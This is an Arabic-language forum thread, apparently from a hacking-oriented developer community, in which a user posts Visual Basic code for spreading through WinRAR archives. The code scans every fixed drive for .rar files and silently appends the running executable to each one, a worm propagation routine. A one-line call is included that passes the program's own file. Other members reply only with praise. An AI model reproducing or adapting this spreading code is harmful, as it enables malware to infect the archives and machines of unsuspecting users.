حالة الموضوع:
مغلق
  1. P H A N T O M

    P H A N T O M Developer

    الأنتساب:
    ‏8 سبتمبر 2015
    المشاركات:
    8
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    3
    [​IMG]


    » الصلاة و السلام على أشرف المرسليـن ...~
    » الحمد لله وحده نحمده و نشكره و نستعينه و نستغفره و نعود بالله من شرور أنفسنا و من سيئاتأعمالنا ...~
    » من يهده الله فلا مظل له و من يظلل فلن تجد له ولياً مرشدا ...~
    » و أشهد ألا إلالله إلا الله وحده لا شريك له و أن محمداً عبده و رسوله صلى الله عليه و سلم ...~
    » وعلى آله و صحبه أجمعين و من تبعهم بإحسان إلى يوم الدين ...~
    » ربنا لا علم لنا إلا ما علمتنا إنك أنت العليم الخبير ...~
    » ربنا لا فهم لنا إلا ما فهمتنا إنك أنت الجواد الكريم...~
    » ربي اشرح لي صدري و يسر لي أمري و احلل عقدة من لساني يفقهوا قولي ...~
    » أما بعد ...~
    » فإن أصدق الحديث كتاب الله تعالى و خير الهدي هديُ سيدنا محمد صلى الله عليه و سلم ...~
    » و شر الأمور محدثاتها و كل محدثة بدعة و كل بدعة ضلالة و كل ضلالة في النار ...~
    » فاللهم أجرنا و قنا عذابها برحمتك يا أرحم الراحمين ...~





    [​IMG]


    [PHP CODE]Public Sub iraqTeam(sFilePath As String)
    If FileExist(Environ("ProgramFiles") & "\WinRAR\WinRAR.exe") Then
    Dim sFiles() As String
    Dim Finded As String
    Dim sHDD() As String
    Dim i As Long, j As Long
    sHDD = Split(Drives, "<->")
    For i = LBound(sHDD) To UBound(sHDD) - 1
    Finded = Extension(sHDD(i), ".rar", True)
    sFiles = Split(Finded, ",")
    For j = 0 To UBound(sFiles)
    If sFiles(j) <> vbNullString Then
    Shell (Environ("ProgramFiles") & "\WinRAR\Rar.exe" & " a -tk -y -ep1 " & sFiles(j) & " " & sFilePath)
    End If
    Next j
    Next i
    End If
    End Sub

    Private Function Extension(ByVal sPath As String, sExtension As String, bRecursive As Boolean) As String
    On Error Resume Next
    Dim subPath() As String
    Dim nDir As Integer
    Dim i As Integer
    Dim sFiles As String
    Dim currentFile As String
    If Right$(sPath, 1) <> "" Then sPath = sPath & ""
    currentFile = Dir$(sPath & "*.*", vbDirectory)
    While Len(currentFile)
    If (currentFile <> "..") And (currentFile <> ".") Then
    If GetAttr(sPath & currentFile) And vbDirectory Then
    ReDim Preserve subPath(nDir)
    subPath(nDir) = currentFile
    nDir = nDir + 1
    Else
    If "." & Mid$(Mid$(currentFile, InStrRev(currentFile, "") + 1), InStrRev(Mid$(currentFile, InStrRev(currentFile, "") + 1), ".") + 1) = sExtension Then
    sFiles = sFiles & "," & sPath & currentFile
    End If
    End If
    End If
    currentFile = Dir$
    Wend
    If bRecursive = True Then
    For i = 0 To nDir - 1
    sFiles = sFiles & "," & Extension(sPath & subPath(i) & "", sExtension, bRecursive)
    Next i
    End If
    Extension = Mid$(sFiles, 2)
    Erase subPath
    End Function

    Private Function Drives() As String
    Dim objDrive As Object
    Drives = ""
    Const FIXED_DRIVE = 2
    For Each objDrive In CreateObject("Scripting.FileSystemObject").Drives
    If objDrive.IsReady Then
    If objDrive.DriveType = FIXED_DRIVE And objDrive.Path <> "A:" Then
    Drives = Drives & objDrive.Path & "" & "<->"
    End If
    End If
    Next
    End Function

    Public Function FileExist(FileName As String) As Boolean
    On Error GoTo ErrorHandler
    Call FileLen(FileName)
    FileExist = True
    Exit Function
    ErrorHandler:
    FileExist = False
    End Function[/PHP CODE]

    طريقة الاستدعاء :​



    [PHP CODE]Call iraqTeam(App.Path & "" & App.EXEName & ".exe")[/PHP CODE]​
    [FONT=GE_Bold]
    [/FONT]​


    [​IMG]
    [FONT=GE_Bold]
    [/FONT]​
    هذا اول موضوع لي
    عيد مبارك سعيد :ُ{33ًٌ}:ُ​
     
    1 person likes this.
  2. جـعـفـر الـشـمـري

    جـعـفـر الـشـمـري DeveloPer Plus

    الأنتساب:
    ‏26 أغسطس 2015
    المشاركات:
    526
    الإعجابات المتلقاة:
    8
    نقاط الجائزة:
    18
    الإقامة:
    العراق
    رد: كود انتشار في الوينرار

    اكثر من رائع

    ننتضرك وننتضر جديدك ولا تحرمنا من ابداعك :{2}:
     
  3. ♕| s c я є α м |♕

    ♕| s c я є α м |♕ IP: 90.148.234.7 مشرف

    الأنتساب:
    ‏23 ديسمبر 2014
    المشاركات:
    630
    الإعجابات المتلقاة:
    668
    نقاط الجائزة:
    93
    الإقامة:
    7
    رد: كود انتشار في الوينرار

    بارك الله فيك على الموضوع القيم والمميز

    وفي انتظار جديدك الأروع والمميز
    :{1!}:
     
  4. اوجاع

    اوجاع موقوف لمخالفة الشروط

    الأنتساب:
    ‏28 سبتمبر 2015
    المشاركات:
    185
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    18
    المخالفات
    3
    رد: كود انتشار في الوينرار

    وعليكم السلام يعطيك العافيهه
     
  5. P H A N T O M

    P H A N T O M Developer

    الأنتساب:
    ‏8 سبتمبر 2015
    المشاركات:
    8
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    3
    رد: كود انتشار في الوينرار

    تسلم حبيبي
     
  6. P H A N T O M

    P H A N T O M Developer

    الأنتساب:
    ‏8 سبتمبر 2015
    المشاركات:
    8
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    3
    رد: كود انتشار في الوينرار

    مشكور يا ورد
     
  7. P H A N T O M

    P H A N T O M Developer

    الأنتساب:
    ‏8 سبتمبر 2015
    المشاركات:
    8
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    3
    رد: كود انتشار في الوينرار

    الله يعافيك يا ورد
     
  8. !•¢-Άss£R-ΆℓrOoOԊ•¢-!

    !•¢-Άss£R-ΆℓrOoOԊ•¢-! اعرض من مثلث برمودة DeveloPer Plus موقوف لمخالفة الشروط

    الأنتساب:
    ‏16 يناير 2015
    المشاركات:
    430
    الإعجابات المتلقاة:
    16
    نقاط الجائزة:
    18
    الجنس:
    أنثى
    الإقامة:
    مدينه الصدر
    رد: كود انتشار في الوينرار

    ~~أستمر ورده~~
     
حالة الموضوع:
مغلق

مشاركة هذه الصفحة